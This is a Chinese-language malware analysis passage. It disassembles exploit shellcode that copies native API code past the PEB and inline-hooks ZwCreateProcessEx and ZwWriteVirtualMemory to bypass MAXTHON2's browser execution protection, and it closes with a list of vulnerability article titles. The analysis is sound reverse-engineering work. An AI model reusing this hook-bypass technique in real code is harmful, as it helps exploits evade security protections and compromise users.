|
首先是将自身保存的NATIVE API原样代码拷贝到PEB后面的空间中。
之所以要拷贝到这里,我想是为了运行的稳定,如果inline hook直接指向shellcode内部,那么shellcode执行完被清理掉之后,程 序再调用相应NATIVE API的时候,就会崩溃掉。这里把代码拷进PEB后面的空间,可以保证在shellcode退出后这部分地址仍然能够正常访 问,程序也还能正常运行(至少看起来是那样)。
004070AE 6A 30 push 30
004070B0 59 pop ecx
004070B1 64:8B19 mov ebx, dword ptr fs:[ecx]
004070B4 8DAB 00040000 lea ebp, dword ptr [ebx+400] ; (17)在PEB结构后面找到一块空着的内存
004070BA 8B9B A8000000 mov ebx, dword ptr [ebx+A8]
004070C0 8BFD mov edi, ebp
004070C2 56 push esi
004070C3 E9 E0000000 jmp 004071A8 ; (18)跳到下面
004070C8 5E pop esi ; (20)跳回这里
004070C9 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 把下面那些摸拟NATIVE API的代码拷进这块内存,用于后面inline hook
004070CB 5E pop esi
接着,将“找到的”ZwCreateProcessEx和ZwWriteVirtualMemory的最前面部分,修改为“push XXX,retn”的样式,以跳到之前拷贝的代码中:
004070CC 8B7E 24 mov edi, dword ptr [esi+24] ; ZwCreateProcessEx
004070CF E8 25010000 call 004071F9 ; VirtualProtect改函数头0×20为可读可写
004070D4 6A 1A push 1A ; 以下为直接对ZwCreateProcessEx进行inline hook
004070D6 6A 0D push 0D
004070D8 6A 00 push 0
004070DA 8BC5 mov eax, ebp
004070DC 03049C add eax, dword ptr [esp+ebx*4]
004070DF C607 68 mov byte ptr [edi], 68 ; 代码”push……”
004070E2 47 inc edi
004070E3 AB stos dword ptr es:[edi] ; 内存中拷贝的代码
004070E4 C607 C3 mov byte ptr [edi], 0C3 ; ret……
004070E7 8B7E 28 mov edi, dword ptr [esi+28] ; ZwWriteVirtualMemory
004070EA E8 0A010000 call 004071F9
004070EF 6A 3D push 3D
004070F1 6A 36 push 36
004070F3 6A 27 push 27
004070F5 8BC5 mov eax, ebp
004070F7 03049C add eax, dword ptr [esp+ebx*4]
004070FA C607 68 mov byte ptr [edi], 68
004070FD 47 inc edi
004070FE AB stos dword ptr es:[edi]
004070FF C607 C3 mov byte ptr [edi], 0C3
为什么我上面特别强调“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址处”?
我们千万不要忘记,这个做法是针对某些软件的,冲着哪个软件?
我想到了MAXTHON2。
搜索一下关于MAXTHON2的浏览器执行保护的文章,很早的文章显示,MAXTHON2正是对ZwCreateProcessEx和ZwWriteVirtualMemory进行了IAT HOOK。
而现在呢,shellcode从kernel32.dll的输入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,这意味着什么?
我大胆假设,当MAXTHON2游览漏洞利用网页的时候,shellcode的执行环境就在其进程中,那么,这时shellcode从kernel32.dll的输入表中取到的地址,正是被MAXTHON2给hook掉的结果,直接到了MAXTHON2的dll里面去了。
这是shellcode作者有意而为之,因为接着它对这两个地址的代码进行了inline hook,又实际上转回了原始的代码。
这样MAXTHON2就在完全没有察觉自己的IAT HOOK失效(本来就没有失效)的情况下,其执行保护被绕过了。
| 新云CMS Online.asp页面过滤不严 | 02-26 |
| 对网软网上购物系统的漏洞分析 | 01-09 |
| 测试SQL防注入脚本 | 12-21 |
| Google Xss又出跨站新漏洞 | 11-06 |
| 一次简单的html injection导致的 | 11-06 |
| 风讯、科讯漏洞利用 | 11-01 |
| Adobe pdf reader URI利用方式浅 | 10-23 |
| 超星阅览器的最新0DAY | 10-19 |
| 运用SQL Injection做数据库渗透的 | 09-22 |
| sa-blog 0day | 09-22 |
| HTML注入的一些简单想法 | 09-10 |
| 网站登陆接口的攻与防 | 09-04 |